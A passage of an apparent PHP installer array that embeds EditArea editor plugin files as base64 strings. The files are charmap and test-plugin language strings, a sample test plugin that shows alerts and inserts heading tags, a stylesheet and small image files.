  './AJAX-B/edit_area/plugins/charmap/langs/cs.js' => 'ZWRpdEFyZWEuYWRkX2xhbmcoImNzIix7DQpjaGFybWFwX2J1dDogIlZpc3VhbCBrZXlib2FyZCIsDQpjaGFybWFwX3RpdGxlOiAiVmlzdWFsIGtleWJvYXJkIiwNCmNoYXJtYXBfY2hvb3NlX2Jsb2NrOiAic2VsZWN0IGxhbmd1YWdlIGJsb2NrIiwNCmNoYXJtYXBfaW5zZXJ0OiJpbnNlcnQgdGhpcyBjaGFyYWN0ZXIiDQp9KTsNCg==',
  './AJAX-B/edit_area/plugins/charmap/langs/de.js' => 'ZWRpdEFyZWEuYWRkX2xhbmcoImRlIix7DQpjaGFybWFwX2J1dDogIlNvbmRlcnplaWNoZW4iLA0KY2hhcm1hcF90aXRsZTogIlNvbmRlcnplaWNoZW4iLA0KY2hhcm1hcF9jaG9vc2VfYmxvY2s6ICJCZXJlaWNoIGF1c3cmYXVtbDtobGVuIiwNCmNoYXJtYXBfaW5zZXJ0OiAiZGllc2VzIFplaWNoZW4gZWluZiZ1dW1sO2dlbiINCn0pOw0K',
  './AJAX-B/edit_area/plugins/charmap/langs/dk.js' => 'ZWRpdEFyZWEuYWRkX2xhbmcoImRrIix7DQpjaGFybWFwX2J1dDogIlZpc3VhbCBrZXlib2FyZCIsDQpjaGFybWFwX3RpdGxlOiAiVmlzdWFsIGtleWJvYXJkIiwNCmNoYXJtYXBfY2hvb3NlX2Jsb2NrOiAic2VsZWN0IGxhbmd1YWdlIGJsb2NrIiwNCmNoYXJtYXBfaW5zZXJ0OiJpbnNlcnQgdGhpcyBjaGFyYWN0ZXIiDQp9KTsNCg==',
  './AJAX-B/edit_area/plugins/charmap/langs/en.js' => 'ZWRpdEFyZWEuYWRkX2xhbmcoImVuIix7DQpjaGFybWFwX2J1dDogIlZpc3VhbCBrZXlib2FyZCIsDQpjaGFybWFwX3RpdGxlOiAiVmlzdWFsIGtleWJvYXJkIiwNCmNoYXJtYXBfY2hvb3NlX2Jsb2NrOiAic2VsZWN0IGxhbmd1YWdlIGJsb2NrIiwNCmNoYXJtYXBfaW5zZXJ0OiJpbnNlcnQgdGhpcyBjaGFyYWN0ZXIiDQp9KTsNCg==',
  './AJAX-B/edit_area/plugins/charmap/langs/eo.js' => 'ZWRpdEFyZWEuYWRkX2xhbmcoImVvIix7DQpjaGFybWFwX2J1dDogIkVrcmFua2xhdmFybyIsDQpjaGFybWFwX3RpdGxlOiAiRWtyYW5rbGF2YXJvIiwNCmNoYXJtYXBfY2hvb3NlX2Jsb2NrOiAiRWxla3RvIGRlIGxpbmd2byIsDQpjaGFybWFwX2luc2VydDoiZW5tZXRpIHRpdW4gc2lnbmFyb24iDQp9KTsNCg==',
  './AJAX-B/edit_area/plugins/charmap/langs/es.js' => 'ZWRpdEFyZWEuYWRkX2xhbmcoImVzIix7DQpjaGFybWFwX2J1dDogIlZpc3VhbCBrZXlib2FyZCIsDQpjaGFybWFwX3RpdGxlOiAiVmlzdWFsIGtleWJvYXJkIiwNCmNoYXJtYXBfY2hvb3NlX2Jsb2NrOiAic2VsZWN0IGxhbmd1YWdlIGJsb2NrIiwNCmNoYXJtYXBfaW5zZXJ0OiJpbnNlcnQgdGhpcyBjaGFyYWN0ZXIiDQp9KTsNCg==',
  './AJAX-B/edit_area/plugins/charmap/langs/fr.js' => 'ZWRpdEFyZWEuYWRkX2xhbmcoImZyIix7DQpjaGFybWFwX2J1dDogIkNsYXZpZXIgdmlzdWVsIiwNCmNoYXJtYXBfdGl0bGU6ICJDbGF2aWVyIHZpc3VlbCIsDQpjaGFybWFwX2Nob29zZV9ibG9jazogImNob2l4IGR1IGxhbmd1YWdlIiwNCmNoYXJtYXBfaW5zZXJ0OiJpbnMmZWFjdXRlO3JlciBjZSBjYXJhY3QmZWdyYXZlO3JlIg0KfSk7DQo=',
  './AJAX-B/edit_area/plugins/charmap/langs/hr.js' => 'ZWRpdEFyZWEuYWRkX2xhbmcoImhyIix7DQpjaGFybWFwX2J1dDogIlZpcnR1YWxuYSB0aXBrb3ZuaWNhIiwNCmNoYXJtYXBfdGl0bGU6ICJWaXJ0dWFsbmEgdGlwa292bmljYSIsDQpjaGFybWFwX2Nob29zZV9ibG9jazogIk9kYWJlcmkgYmxvayBzIGplemlrb20iLA0KY2hhcm1hcF9pbnNlcnQ6IlViYWNpIHRhaiB6bmFrIg0KfSk7DQo=',
  './AJAX-B/edit_area/plugins/charmap/langs/it.js' => 'ZWRpdEFyZWEuYWRkX2xhbmcoIml0Iix7DQpjaGFybWFwX2J1dDogIlRhc3RpZXJhIHZpc3VhbGUiLA0KY2hhcm1hcF90aXRsZTogIlRhc3RpZXJhIHZpc3VhbGUiLA0KY2hhcm1hcF9jaG9vc2VfYmxvY2s6ICJzZWxlemlvbmEgYmxvY2NvIiwNCmNoYXJtYXBfaW5zZXJ0OiJpbnNlcmlzY2kgcXVlc3RvIGNhcmF0dGVyZSINCn0pOw0K',
  './AJAX-B/edit_area/plugins/charmap/langs/ja.js' => 'ZWRpdEFyZWEuYWRkX2xhbmcoImphIix7DQpjaGFybWFwX2J1dDogIlZpc3VhbCBrZXlib2FyZCIsDQpjaGFybWFwX3RpdGxlOiAiVmlzdWFsIGtleWJvYXJkIiwNCmNoYXJtYXBfY2hvb3NlX2Jsb2NrOiAic2VsZWN0IGxhbmd1YWdlIGJsb2NrIiwNCmNoYXJtYXBfaW5zZXJ0OiJpbnNlcnQgdGhpcyBjaGFyYWN0ZXIiDQp9KTsNCg==',
  './AJAX-B/edit_area/plugins/charmap/langs/mk.js' => 'ZWRpdEFyZWEuYWRkX2xhbmcoIm1rbiIsew0KY2hhcm1hcF9idXQ6ICJWaXN1YWwga2V5Ym9hcmQiLA0KY2hhcm1hcF90aXRsZTogIlZpc3VhbCBrZXlib2FyZCIsDQpjaGFybWFwX2Nob29zZV9ibG9jazogInNlbGVjdCBsYW5ndWFnZSBibG9jayIsDQpjaGFybWFwX2luc2VydDoiaW5zZXJ0IHRoaXMgY2hhcmFjdGVyIg0KfSk7DQo=',
  './AJAX-B/edit_area/plugins/charmap/langs/nl.js' => 'ZWRpdEFyZWEuYWRkX2xhbmcoIm5sIix7DQpjaGFybWFwX2J1dDogIlZpc3VlZWwgdG9ldHNlbmJvcmQiLA0KY2hhcm1hcF90aXRsZTogIlZpc3VlZWwgdG9ldHNlbmJvcmQiLA0KY2hhcm1hcF9jaG9vc2VfYmxvY2s6ICJLaWVzIGVlbiB0YWFsIGJsb2siLA0KY2hhcm1hcF9pbnNlcnQ6IlZvZWcgZGl0IHN5bWJvb2wgaW4iDQp9KTsNCg==',
  './AJAX-B/edit_area/plugins/charmap/langs/pl.js' => '77u/ZWRpdEFyZWEuYWRkX2xhbmcoInBsIix7DQpjaGFybWFwX2J1dDogIktsYXdpYXR1cmEgZWtyYW5vd2EiLA0KY2hhcm1hcF90aXRsZTogIktsYXdpYXR1cmEgZWtyYW5vd2EiLA0KY2hhcm1hcF9jaG9vc2VfYmxvY2s6ICJ3eWJpZXJ6IGdydXDEmSB6bmFrw7N3IiwNCmNoYXJtYXBfaW5zZXJ0OiJ3c3RhdyB0ZW4gem5hayINCn0pOw0K',
  './AJAX-B/edit_area/plugins/charmap/langs/pt.js' => 'ZWRpdEFyZWEuYWRkX2xhbmcoInB0Iix7DQpjaGFybWFwX2J1dDogIlZpc3VhbCBrZXlib2FyZCIsDQpjaGFybWFwX3RpdGxlOiAiVmlzdWFsIGtleWJvYXJkIiwNCmNoYXJtYXBfY2hvb3NlX2Jsb2NrOiAic2VsZWN0IGxhbmd1YWdlIGJsb2NrIiwNCmNoYXJtYXBfaW5zZXJ0OiJpbnNlcnQgdGhpcyBjaGFyYWN0ZXIiDQp9KTsNCg==',
  './AJAX-B/edit_area/plugins/charmap/langs/ru.js' => 'ZWRpdEFyZWEuYWRkX2xhbmcoInJ1Iix7DQpjaGFybWFwX2J1dDogItCS0LjQt9GD0LDQu9GM0L3QsNGPINC60LvQsNCy0LjQsNGC0YPRgNCwIiwNCmNoYXJtYXBfdGl0bGU6ICLQktC40LfRg9Cw0LvRjNC90LDRjyDQutC70LDQstC40LDRgtGD0YDQsCIsDQpjaGFybWFwX2Nob29zZV9ibG9jazogItCy0YvQsdGA0LDRgtGMINGP0LfRi9C60L7QstC+0Lkg0LHQu9C+0LoiLA0KY2hhcm1hcF9pbnNlcnQ6ItCy0YHRgtCw0LLQuNGC0Ywg0Y3RgtC+0YIg0YHQuNC80LLQvtC7Ig0KfSk7DQo=',
  './AJAX-B/edit_area/plugins/charmap/langs/sk.js' => 'ZWRpdEFyZWEuYWRkX2xhbmcoInNrIix7DQpjaGFybWFwX2J1dDogIlZpenXDoWxuYSBrbMOhdmVzbmljYSIsDQpjaGFybWFwX3RpdGxlOiAiVml6dcOhbG5hIGtsw6F2ZXNuaWNhIiwNCmNoYXJtYXBfY2hvb3NlX2Jsb2NrOiAidnliZXIgamF6eWtvdsO9IGJsb2siLA0KY2hhcm1hcF9pbnNlcnQ6ICJ2bG/FviB0ZW50byB6bmFrIg0KfSk7DQo=',
  './AJAX-B/edit_area/plugins/test/test.js' => 'LyoqDQogKiBQbHVnaW4gZGVzaWduZWQgZm9yIHRlc3QgcHJ1cG9zZS4gSXQgYWRkIGEgYnV0dG9uICh0aGF0IG1hbmFnZSBhbiBhbGVydCkgYW5kIGEgc2VsZWN0ICh0aGF0IGFsbG93IHRvIGluc2VydCB0YWdzKSBpbiB0aGUgdG9vbGJhci4NCiAqIFRoaXMgcGx1Z2luIGFsc28gZGlzYWJsZSB0aGUgImYiIGtleSBpbiB0aGUgZWRpdGFyZWEsIGFuZCBsb2FkIGEgQ1NTIGFuZCBhIEpTIGZpbGUNCiAqLyAgDQp2YXIgRWRpdEFyZWFfdGVzdD0gew0KCS8qKg0KCSAqIEdldCBjYWxsZWQgb25jZSB0aGlzIGZpbGUgaXMgbG9hZGVkIChlZGl0QXJlYSBzdGlsbCBub3QgaW5pdGlhbGl6ZWQpDQoJICoNCgkgKiBAcmV0dXJuIG5vdGhpbmcJIA0KCSAqLwkgCSAJDQoJaW5pdDogZnVuY3Rpb24oKXsJDQoJCS8vCWFsZXJ0KCJ0ZXN0IGluaXQ6ICIrIHRoaXMuX3NvbWVJbnRlcm5hbEZ1bmN0aW9uKDIsIDMpKTsNCgkJZWRpdEFyZWEubG9hZF9jc3ModGhpcy5iYXNlVVJMKyJjc3MvdGVzdC5jc3MiKTsNCgkJZWRpdEFyZWEubG9hZF9zY3JpcHQodGhpcy5iYXNlVVJMKyJ0ZXN0Mi5qcyIpOw0KCX0NCgkvKioNCgkgKiBSZXR1cm5zIHRoZSBIVE1MIGNvZGUgZm9yIGEgc3BlY2lmaWMgY29udHJvbCBzdHJpbmcgb3IgZmFsc2UgaWYgdGhpcyBwbHVnaW4gZG9lc24ndCBoYXZlIHRoYXQgY29udHJvbC4NCgkgKiBBIGNvbnRyb2wgY2FuIGJlIGEgYnV0dG9uLCBzZWxlY3QgbGlzdCBvciBhbnkgb3RoZXIgSFRNTCBpdGVtIHRvIHByZXNlbnQgaW4gdGhlIEVkaXRBcmVhIHVzZXIgaW50ZXJmYWNlLg0KCSAqIExhbmd1YWdlIHZhcmlhYmxlcyBzdWNoIGFzIHskbGFuZ19zb21la2V5fSB3aWxsIGFsc28gYmUgcmVwbGFjZWQgd2l0aCBjb250ZW50cyBmcm9tDQoJICogdGhlIGxhbmd1YWdlIHBhY2tzLg0KCSAqIA0KCSAqIEBwYXJhbSB7c3RyaW5nfSBjdHJsX25hbWU6IHRoZSBuYW1lIG9mIHRoZSBjb250cm9sIHRvIGFkZAkgIA0KCSAqIEByZXR1cm4gSFRNTCBjb2RlIGZvciBhIHNwZWNpZmljIGNvbnRyb2wgb3IgZmFsc2UuDQoJICogQHR5cGUgc3RyaW5nCW9yIGJvb2xlYW4NCgkgKi8JDQoJLGdldF9jb250cm9sX2h0bWw6IGZ1bmN0aW9uKGN0cmxfbmFtZSl7DQoJCXN3aXRjaChjdHJsX25hbWUpew0KCQkJY2FzZSAidGVzdF9idXQiOg0KCQkJCS8vIENvbnRyb2wgaWQsIGJ1dHRvbiBpbWcsIGNvbW1hbmQNCgkJCQlyZXR1cm4gcGFyZW50LmVkaXRBcmVhTG9hZGVyLmdldF9idXR0b25faHRtbCgndGVzdF9idXQnLCAndGVzdC5naWYnLCAndGVzdF9jbWQnLCBmYWxzZSwgdGhpcy5iYXNlVVJMKTsNCgkJCWNhc2UgInRlc3Rfc2VsZWN0IjoNCgkJCQlodG1sPSAiPHNlbGVjdCBpZD0ndGVzdF9zZWxlY3QnIG9uY2hhbmdlPSdqYXZhc2NyaXB0OmVkaXRBcmVhLmV4ZWNDb21tYW5kKFwidGVzdF9zZWxlY3RfY2hhbmdlXCIpJyBmaWxlU3BlY2lmaWM9J25vJz4iDQoJCQkJCSsiCQkJPG9wdGlvbiB2YWx1ZT0nLTEnPnskdGVzdF9zZWxlY3R9PC9vcHRpb24+Ig0KCQkJCQkrIgkJCTxvcHRpb24gdmFsdWU9J2gxJz5oMTwvb3B0aW9uPiINCgkJCQkJKyIJCQk8b3B0aW9uIHZhbHVlPSdoMic+aDI8L29wdGlvbj4iDQoJCQkJCSsiCQkJPG9wdGlvbiB2YWx1ZT0naDMnPmgzPC9vcHRpb24+Ig0KCQkJCQkrIgkJCTxvcHRpb24gdmFsdWU9J2g0Jz5oNDwvb3B0aW9uPiINCgkJCQkJKyIJCQk8b3B0aW9uIHZhbHVlPSdoNSc+aDU8L29wdGlvbj4iDQoJCQkJCSsiCQkJPG9wdGlvbiB2YWx1ZT0naDYnPmg2PC9vcHRpb24+Ig0KCQkJCQkrIgkJPC9zZWxlY3Q+IjsNCgkJCQlyZXR1cm4gaHRtbDsNCgkJfQ0KCQlyZXR1cm4gZmFsc2U7DQoJfQ0KCS8qKg0KCSAqIEdldCBjYWxsZWQgb25jZSBFZGl0QXJlYSBpcyBmdWxseSBsb2FkZWQgYW5kIGluaXRpYWxpc2VkDQoJICoJIA0KCSAqIEByZXR1cm4gbm90aGluZw0KCSAqLwkgCSAJDQoJLG9ubG9hZDogZnVuY3Rpb24oKXsgDQoJCWFsZXJ0KCJ0ZXN0IGxvYWQiKTsNCgl9DQoJDQoJLyoqDQoJICogSXMgY2FsbGVkIGVhY2ggdGltZSB0aGUgdXNlciB0b3VjaCBhIGtleWJvYXJkIGtleS4NCgkgKgkgDQoJICogQHBhcmFtIChldmVudCkgZTogdGhlIGtleWRvd24gZXZlbnQNCgkgKiBAcmV0dXJuIHRydWUgLSBwYXNzIHRvIG5leHQgaGFuZGxlciBpbiBjaGFpbiwgZmFsc2UgLSBzdG9wIGNoYWluIGV4ZWN1dGlvbg0KCSAqIEB0eXBlIGJvb2xlYW4JIA0KCSAqLw0KCSxvbmtleWRvd246IGZ1bmN0aW9uKGUpew0KCQl2YXIgc3RyPSBTdHJpbmcuZnJvbUNoYXJDb2RlKGUua2V5Q29kZSk7DQoJCS8vIGRlc2FjdGl2YXRlIHRoZSAiZiIgY2hhcmFjdGVyDQoJCWlmKHN0ci50b0xvd2VyQ2FzZSgpPT0iZiIpew0KCQkJcmV0dXJuIHRydWU7DQoJCX0NCgkJcmV0dXJuIGZhbHNlOw0KCX0NCgkNCgkvKioNCgkgKiBFeGVjdXRlcyBhIHNwZWNpZmljIGNvbW1hbmQsIHRoaXMgZnVuY3Rpb24gaGFuZGxlcyBwbHVnaW4gY29tbWFuZHMuDQoJICoNCgkgKiBAcGFyYW0ge3N0cmluZ30gY21kOiB0aGUgbmFtZSBvZiB0aGUgY29tbWFuZCBiZWluZyBleGVjdXRlZA0KCSAqIEBwYXJhbSB7dW5rbm93bn0gcGFyYW06IHRoZSBwYXJhbWV0ZXIgb2YgdGhlIGNvbW1hbmQJIA0KCSAqIEByZXR1cm4gdHJ1ZSAtIHBhc3MgdG8gbmV4dCBoYW5kbGVyIGluIGNoYWluLCBmYWxzZSAtIHN0b3AgY2hhaW4gZXhlY3V0aW9uDQoJICogQHR5cGUgYm9vbGVhbgkNCgkgKi8NCgksZXhlY0NvbW1hbmQ6IGZ1bmN0aW9uKGNtZCwgcGFyYW0pew0KCQkvLyBIYW5kbGUgY29tbWFuZHMNCgkJc3dpdGNoKGNtZCl7DQoJCQljYXNlICJ0ZXN0X3NlbGVjdF9jaGFuZ2UiOg0KCQkJCXZhciB2YWw9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ0ZXN0X3NlbGVjdCIpLnZhbHVlOw0KCQkJCWlmKHZhbCE9LTEpDQoJCQkJCXBhcmVudC5lZGl0QXJlYUxvYWRlci5pbnNlcnRUYWdzKGVkaXRBcmVhLmlkLCAiPCIrdmFsKyI+IiwgIjwvIit2YWwrIj4iKTsNCgkJCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGVzdF9zZWxlY3QiKS5vcHRpb25zWzBdLnNlbGVjdGVkPXRydWU7IA0KCQkJCXJldHVybiBmYWxzZTsNCgkJCWNhc2UgInRlc3RfY21kIjoNCgkJCQlhbGVydCgidXNlciBjbGlja2VkIG9uIHRlc3RfY21kIik7DQoJCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJCS8vIFBhc3MgdG8gbmV4dCBoYW5kbGVyIGluIGNoYWluDQoJCXJldHVybiB0cnVlOw0KCX0NCgkNCgkvKioNCgkgKiBUaGlzIGlzIGp1c3QgYW4gaW50ZXJuYWwgcGx1Z2luIG1ldGhvZCwgcHJlZml4IGFsbCBpbnRlcm5hbCBtZXRob2RzIHdpdGggYSBfIGNoYXJhY3Rlci4NCgkgKiBUaGUgcHJlZml4IGlzIG5lZWRlZCBzbyB0aGV5IGRvZXNuJ3QgY29sbGlkZSB3aXRoIGZ1dHVyZSBFZGl0QXJlYSBjYWxsYmFjayBmdW5jdGlvbnMuDQoJICoNCgkgKiBAcGFyYW0ge3N0cmluZ30gYSBTb21lIGFyZzEuDQoJICogQHBhcmFtIHtzdHJpbmd9IGIgU29tZSBhcmcyLg0KCSAqIEByZXR1cm4gU29tZSByZXR1cm4uDQoJICogQHR5cGUgdW5rbm93bg0KCSAqLw0KCSxfc29tZUludGVybmFsRnVuY3Rpb24gOiBmdW5jdGlvbihhLCBiKSB7DQoJCXJldHVybiBhK2I7DQoJfQ0KfTsNCg0KLy8gQWRkcyB0aGUgcGx1Z2luIGNsYXNzIHRvIHRoZSBsaXN0IG9mIGF2YWlsYWJsZSBFZGl0QXJlYSBwbHVnaW5zDQplZGl0QXJlYS5hZGRfcGx1Z2luKCJ0ZXN0IiwgRWRpdEFyZWFfdGVzdCk7DQo=',
  './AJAX-B/edit_area/plugins/test/test2.js' => 'YWxlcnQoInRlc3QyLmpzIGlzIGxvYWRlZCBmcm9tIHRlc3QgcGx1Z2luIik7DQo=',
  './AJAX-B/edit_area/plugins/test/css/test.css' => 'c2VsZWN0I3Rlc3Rfc2VsZWN0ew0KCWJhY2tncm91bmQtY29sb3I6ICNGRjAwMDA7DQp9DQo=',
  './AJAX-B/edit_area/plugins/test/images/Thumbs.db' => '0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAABAAAAAQAAAAAAAAAAEAAAAgAAAAEAAAD+////AAAAAAAAAAD////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////9/////v////7///8EAAAABQAAAP7//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////1IAbwBvAHQAIABFAG4AdAByAHkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWAAUA//////////8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKCTgSPr6cgBAwAAAEAEAAAAAAAAMQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAgH/////AgAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4QMAAAAAAABDAGEAdABhAGwAbwBnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAACAP///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAA0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAIAAAADAAAABAAAAAUAAAAGAAAABwAAAAgAAAAJAAAACgAAAAsAAAAMAAAADQAAAA4AAAAPAAAA/v////7///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////8MAAAAAQAAANUDAAD/2P/gABBKRklGAAEBAQBgAGAAAP/bAEMAAwICAwICAwMDAwQDAwQFCAUFBAQFCgcHBggMCgwMCwoLCw0OEhANDhEOCwsQFhARExQVFRUMDxcYFhQYEhQVFP/bAEMBAwQEBQQFCQUFCRQNCw0UFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFP/AABEIABQAFAMBIgACEQEDEQH/xAAfAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgv/xAC1EAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEUMoGRoQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2RlZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/xAAfAQADAQEBAQEBAQEBAAAAAAAAAQIDBAUGBwgJCgv/xAC1EQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgUQpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2dri4+Tl5ufo6ery8/T19vf4+fr/2gAMAwEAAhEDEQA/APqn9nr9nr4If8MsfDTxP4n+Gnw//wCRM0zUtU1jVtBsf+fGOSa4nmkj/wB52dj6kmug8FfD39kv4larLpnhDwz8F/FWpRQm5ks9EsNJvJkiDKpkKRqxChnQbsYywHcV2v7J3/JrHwb/AOxM0b/0hhrJ/Zj+CmufBb/hbH9t3Wn3X/CWfEDVvFdj/Z8jv5drdeV5aS70XEo8s7gu5RkYY0AflD/wV2+HvhX4a/tJeG9M8IeGdH8K6bL4StrmSz0Swis4XlN5eKZCkaqCxVEG7GcKB2FFdB/wWr/5On8Lf9iZa/8ApdfUUAc/8Pf+Cu3xh+GvgDw14Q0zw34Hn03QNMttKtZbuwvGmeKCJYkZyt2oLFUBJAAznAHSug/4fV/G/wD6Fb4f/wDguvv/AJMoooA+X/2oP2oPFX7Wfj/T/F/i/T9H07UrLTI9Kji0SGWKExJLLKGIklkO7dM4zkDAHHUkoooA/9kAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAHAAEAAABgAAAAYAAAACQAAAABAAAAAG0rjm3VxgF0AGUAcwB0AC4AZwBpAGYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=',
  './AJAX-B/edit_area/plugins/test/images/test.gif' => 'R0lGODlhFAAUAJABAAAAAAEBASH5BAEAAAEALAAAAAAUABQAAAIuhI+pwe3fDJxP0mvvzLqCvn0eAnGOGYml6lEo8wbxzJ41KN9grPGY3vG5FERiAQA7',
  './AJAX-B/edit_area/plugins/test/langs/cs.js' => 'ZWRpdEFyZWEuYWRkX2xhbmcoImNzIix7DQp0ZXN0X3NlbGVjdDogInNlbGVjdCB0YWciLA0KdGVzdF9idXQ6ICJ0ZXN0IGJ1dHRvbiINCn0pOw0K',
  './AJAX-B/edit_area/plugins/test/langs/de.js' => 'ZWRpdEFyZWEuYWRkX2xhbmcoImRlIix7DQp0ZXN0X3NlbGVjdDogIlRhZyBhdXN3JmF1bWw7aGxlbiIsDQp0ZXN0X2J1dDogIlRlc3QgQnV0dG9uIg0KfSk7DQo=',
  './AJAX-B/edit_area/plugins/test/langs/dk.js' => 'ZWRpdEFyZWEuYWRkX2xhbmcoImRrIix7DQp0ZXN0X3NlbGVjdDogInNlbGVjdCB0YWciLA0KdGVzdF9idXQ6ICJ0ZXN0IGJ1dHRvbiINCn0pOw0K',
  './AJAX-B/edit_area/plugins/test/langs/en.js' => 'ZWRpdEFyZWEuYWRkX2xhbmcoImVuIix7DQp0ZXN0X3NlbGVjdDogInNlbGVjdCB0YWciLA0KdGVzdF9idXQ6ICJ0ZXN0IGJ1dHRvbiINCn0pOw0K',
  './AJAX-B/edit_area/plugins/test/langs/eo.js' => 'ZWRpdEFyZWEuYWRkX2xhbmcoImVvIix7DQp0ZXN0X3NlbGVjdDoiZWxla3RvIGRlIG1hcmtvIiwNCnRlc3RfYnV0OiAicHJvdm8tYnV0b25vIg0KfSk7DQo=',
  './AJAX-B/edit_area/plugins/test/langs/es.js' => 'ZWRpdEFyZWEuYWRkX2xhbmcoImVzIix7DQp0ZXN0X3NlbGVjdDogInNlbGVjdCB0YWciLA0KdGVzdF9idXQ6ICJ0ZXN0IGJ1dHRvbiINCn0pOw0K',
  './AJAX-B/edit_area/plugins/test/langs/fr.js' => 'ZWRpdEFyZWEuYWRkX2xhbmcoImZyIix7DQp0ZXN0X3NlbGVjdDoiY2hvaXggYmFsaXNlIiwNCnRlc3RfYnV0OiAiYm91dG9uIGRlIHRlc3QiDQp9KTsNCg==',
  './AJAX-B/edit_area/plugins/test/langs/hr.js' => 'ZWRpdEFyZWEuYWRkX2xhbmcoImhyIix7DQp0ZXN0X3NlbGVjdDogIk9kYWJlcmkgdGFnIiwNCnRlc3RfYnV0OiAiUHJvYm5hIHRpcGthIg0KfSk7DQo=',
  './AJAX-B/edit_area/plugins/test/langs/it.js' => 'ZWRpdEFyZWEuYWRkX2xhbmcoIml0Iix7DQp0ZXN0X3NlbGVjdDogInNlbGV6aW9uYSB0YWciLA0KdGVzdF9idXQ6ICJwdWxzYW50ZSBkaSB0ZXN0Ig0KfSk7DQo=',
  './AJAX-B/edit_area/plugins/test/langs/ja.js' => 'ZWRpdEFyZWEuYWRkX2xhbmcoImphIix7DQp0ZXN0X3NlbGVjdDogInNlbGVjdCB0YWciLA0KdGVzdF9idXQ6ICJ0ZXN0IGJ1dHRvbiINCn0pOw0K',
  './AJAX-B/edit_area/plugins/test/langs/mk.js' => 'ZWRpdEFyZWEuYWRkX2xhbmcoIm1rIix7DQp0ZXN0X3NlbGVjdDogInNlbGVjdCB0YWciLA0KdGVzdF9idXQ6ICJ0ZXN0IGJ1dHRvbiINCn0pOw0K',
  './AJAX-B/edit_area/plugins/test/langs/nl.js' => 'ZWRpdEFyZWEuYWRkX2xhbmcoIm5sIix7DQp0ZXN0X3NlbGVjdDogInNlbGVjdCB0YWciLA0KdGVzdF9idXQ6ICJ0ZXN0IGJ1dHRvbiINCn0pOw0K',
  './AJAX-B/edit_area/plugins/test/langs/pl.js' => 'ZWRpdEFyZWEuYWRkX2xhbmcoInBsIix7DQp0ZXN0X3NlbGVjdDogInd5YmllcnogdGFnIiwNCnRlc3RfYnV0OiAidGVzdCINCn0pOw0K',
